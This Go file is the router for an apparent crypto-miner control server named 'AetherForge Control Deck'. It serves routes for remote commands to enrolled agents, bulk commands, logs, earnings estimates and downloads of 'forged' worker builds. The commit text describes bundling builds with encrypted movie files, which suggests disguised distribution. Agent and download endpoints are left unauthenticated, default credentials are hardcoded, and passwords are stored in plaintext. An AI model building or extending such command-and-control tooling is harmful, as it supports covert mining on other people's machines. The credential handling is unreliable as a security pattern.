Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
237 lines
7.2 KiB
Go
237 lines
7.2 KiB
Go
package api
|
|
|
|
import (
|
|
"crypto/subtle"
|
|
"encoding/json"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"sync"
|
|
|
|
"crypto-miner-server/internal/builder"
|
|
"crypto-miner-server/internal/db"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
"github.com/go-chi/chi/v5/middleware"
|
|
"github.com/go-chi/cors"
|
|
)
|
|
|
|
var (
|
|
authUsers = map[string]string{"drjones": "czapiewski"} // default until users.json loads
|
|
usersFilePath string
|
|
usersMu sync.RWMutex
|
|
)
|
|
|
|
func loadUsers(dataDir string) {
|
|
usersFilePath = filepath.Join(dataDir, "users.json")
|
|
usersMu.Lock()
|
|
defer usersMu.Unlock()
|
|
data, err := os.ReadFile(usersFilePath)
|
|
if err == nil {
|
|
var loaded map[string]string
|
|
if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 {
|
|
authUsers = loaded
|
|
}
|
|
}
|
|
}
|
|
|
|
func saveUser(username, password string) error {
|
|
usersMu.Lock()
|
|
defer usersMu.Unlock()
|
|
authUsers[username] = password
|
|
if usersFilePath == "" {
|
|
usersFilePath = filepath.Join("data", "users.json")
|
|
}
|
|
if err := os.MkdirAll(filepath.Dir(usersFilePath), 0755); err != nil {
|
|
return err
|
|
}
|
|
data, _ := json.MarshalIndent(authUsers, "", " ")
|
|
return os.WriteFile(usersFilePath, data, 0600)
|
|
}
|
|
|
|
func basicAuthMiddleware(next http.Handler) http.Handler {
|
|
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
if r.Method == http.MethodOptions {
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
path := r.URL.Path
|
|
// Agent-facing API + health + forged worker downloads stay open for agents.
|
|
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
|
path == "/api/v1/health" ||
|
|
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
user, pass, ok := r.BasicAuth()
|
|
if !ok {
|
|
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
|
return
|
|
}
|
|
|
|
usersMu.RLock()
|
|
expectedPass, exists := authUsers[user]
|
|
usersMu.RUnlock()
|
|
|
|
if !exists || subtle.ConstantTimeCompare([]byte(pass), []byte(expectedPass)) != 1 {
|
|
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
|
return
|
|
}
|
|
|
|
next.ServeHTTP(w, r)
|
|
})
|
|
}
|
|
|
|
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
|
loadUsers(dataDir)
|
|
|
|
r := chi.NewRouter()
|
|
|
|
// Middleware (global)
|
|
r.Use(middleware.Logger)
|
|
r.Use(middleware.Recoverer)
|
|
r.Use(cors.Handler(cors.Options{
|
|
AllowedOrigins: []string{"*"},
|
|
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
|
|
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"},
|
|
AllowCredentials: false,
|
|
}))
|
|
|
|
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
|
|
r.Route("/api/v1", func(r chi.Router) {
|
|
r.Use(basicAuthMiddleware)
|
|
h := NewHandler(database)
|
|
|
|
r.Get("/health", h.HealthCheck)
|
|
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
|
|
override := ""
|
|
if publicURLOverride != nil {
|
|
override = publicURLOverride()
|
|
}
|
|
GetServerInfo(w, r, override)
|
|
})
|
|
|
|
// Dashboard
|
|
r.Get("/dashboard/stats", h.GetDashboardStats)
|
|
|
|
// Agents
|
|
r.Get("/agents", h.ListAgents)
|
|
r.Get("/agents/{id}", h.GetAgent)
|
|
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
|
if fleetHandler != nil {
|
|
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
|
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
|
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
|
|
r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
|
|
}
|
|
|
|
// Fleet ops
|
|
if fleetHandler != nil {
|
|
r.Get("/alerts", fleetHandler.GetAlerts)
|
|
r.Get("/pools/status", fleetHandler.GetPoolStatus)
|
|
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
|
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
|
}
|
|
|
|
// Shares
|
|
r.Get("/shares", h.GetRecentShares)
|
|
|
|
// Builds
|
|
r.Get("/builds", h.ListBuilds)
|
|
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
|
|
r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
|
|
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
|
|
|
|
// Config
|
|
r.Get("/config", configHandler.ServeHTTP)
|
|
r.Put("/config", configHandler.ServeHTTP)
|
|
|
|
// Builder
|
|
r.Post("/builder/build", builderHandler.ServeHTTP)
|
|
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
|
|
|
// Blueprints (config presets)
|
|
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
|
r.Post("/blueprints", blueprintHandler.ServeHTTP)
|
|
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
|
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
|
|
|
// User Management
|
|
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
|
|
var payload struct {
|
|
Username string `json:"username"`
|
|
Password string `json:"password"`
|
|
}
|
|
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil || payload.Username == "" || payload.Password == "" {
|
|
http.Error(w, "Invalid username or password", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if err := saveUser(payload.Username, payload.Password); err != nil {
|
|
http.Error(w, "Failed to save user", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{"success": true})
|
|
})
|
|
|
|
// AI Autonomy (Ollama)
|
|
r.Post("/agent/decide", aiHandler.HandleDecide)
|
|
r.Post("/agent/report", aiHandler.HandleReport)
|
|
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
|
})
|
|
|
|
// WebSocket
|
|
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
|
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
|
|
|
// Serve frontend SPA
|
|
if webRoot != "" {
|
|
// Check if webroot directory exists
|
|
if info, err := os.Stat(webRoot); err == nil && info.IsDir() {
|
|
// Create a file server for the webroot
|
|
fileServer := http.FileServer(http.Dir(webRoot))
|
|
|
|
// SPA fallback: serve index.html for all non-API, non-WebSocket routes
|
|
r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
|
|
// Clean the path
|
|
path := strings.TrimPrefix(r.URL.Path, "/")
|
|
fullPath := filepath.Join(webRoot, path)
|
|
|
|
// Check if the file exists
|
|
if _, err := os.Stat(fullPath); err == nil {
|
|
fileServer.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
// SPA fallback - serve index.html
|
|
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
|
|
})
|
|
} else {
|
|
// Fallback if webroot doesn't exist
|
|
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
|
|
w.Header().Set("Content-Type", "text/html")
|
|
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
|
|
<h1>Crypto Miner Control Server</h1>
|
|
<p>Server is running. Build the frontend with <code>cd server/web && npm install && npm run build</code></p>
|
|
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
|
|
</body></html>`))
|
|
})
|
|
}
|
|
} else {
|
|
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
|
|
w.Header().Set("Content-Type", "text/html")
|
|
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
|
|
<h1>Crypto Miner Control Server</h1>
|
|
<p>Server is running. No frontend configured.</p>
|
|
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
|
|
</body></html>`))
|
|
})
|
|
}
|
|
|
|
return r
|
|
}
|